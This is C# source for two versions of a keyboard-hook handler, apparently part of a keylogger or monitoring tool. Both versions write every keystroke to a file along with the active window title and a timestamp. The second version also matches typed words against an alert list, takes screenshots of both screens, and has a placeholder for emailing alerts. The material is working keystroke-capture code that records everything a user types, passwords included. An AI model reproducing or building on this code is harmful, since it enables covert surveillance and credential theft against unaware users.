private void KeyListener_KeyDown(object sender, KeyEventArgs e) { if (lastActiveWindow != Functions.GetForegroundWindow()) { var format = @"[""{0}"" {1}]" + Environment.NewLine + Environment.NewLine; var text = string.Format(format, Functions.GetActiveWindowText(), DateTime.Now); if (hasSubmitted) { text = text.Insert(0, Environment.NewLine + Environment.NewLine); } File.AppendAllText(filePath, text); hasSubmitted = true; lastActiveWindow = Functions.GetForegroundWindow(); } var keyText = keyMapper.GetKeyText(e.KeyCode); File.AppendAllText(filePath, keyText); if ((keyText != " ") && (keyText != string.Empty) && (keyText.Trim() != "{ENTER}")) { word += keyText; Console.WriteLine("keyTex : ----" + keyText.Trim() + "------"); Console.WriteLine("Word : ----" + word.Trim() + "------"); } else if (keyText.Trim() == "{Backspace}") { word = TrimLastCharacter(word); } else { Console.WriteLine("alert word : " + word); // alert code will be here // word = ""; // reset word } }
private void KeyListener_KeyDown(object sender, KeyEventArgs e) { if (lastActiveWindow != Functions.GetForegroundWindow()) { var format = @"[""{0}"" {1}]" + Environment.NewLine + Environment.NewLine; var text = string.Format(format, Functions.GetActiveWindowText(), DateTime.Now); if (hasSubmitted) { text = text.Insert(0, Environment.NewLine + Environment.NewLine); } File.AppendAllText(filePath, text); hasSubmitted = true; lastActiveWindow = Functions.GetForegroundWindow(); } var keyText = keyMapper.GetKeyText(e.KeyCode); // remove packet when using vietkey if (keyText == "packet") { keyText = ""; } if ((keyText == null) || (keyText == " ") || (keyText == string.Empty) || (keyText.Trim() == "{ENTER}") || (keyText == "\t") || (keyText.Trim() == "{HOME}") || (keyText.Trim() == "{END}")) { Console.WriteLine("alert word : " + word); // alert code will be here // int imageCount = 1; if (Functions.isAlerts(alertList, word) == true) { if (Boolean.Parse(alert_conf["ScreenShot"]) == true) { Functions.ScreenShotDoubleScreen("Alert_Image", imageCount); imageCount++; Console.WriteLine("Alert : Screenshot successful!!!"); } if (Boolean.Parse(alert_conf["SendMail"]) == true) { Console.WriteLine("Alert : Sent mail successful!!!");// send mail } } word = ""; // reset word } else { // if key = backspace, word must be remove last character if (keyText.Trim() == "{<--}") { word = TrimLastCharacter(word); keyText = ""; } // word will not change if key = ALT else if (keyText.Trim() == "{ALT}" || keyText.Trim().ToLower() == "packet" || keyText.Trim() == "{LCtrl}" || keyText.Trim() == "{RCtrl}" || keyText == "rmenu" || keyText.Trim() == "{LSHIFT}" || keyText.Trim() == "{RSHIFT}") { Console.Write(""); } else { word += keyText; } //.WriteLine("keyTex : ----" + keyText.Trim() + "------"); //Console.WriteLine("Word : ----" + word.Trim() + "------"); } File.AppendAllText(filePath, keyText); }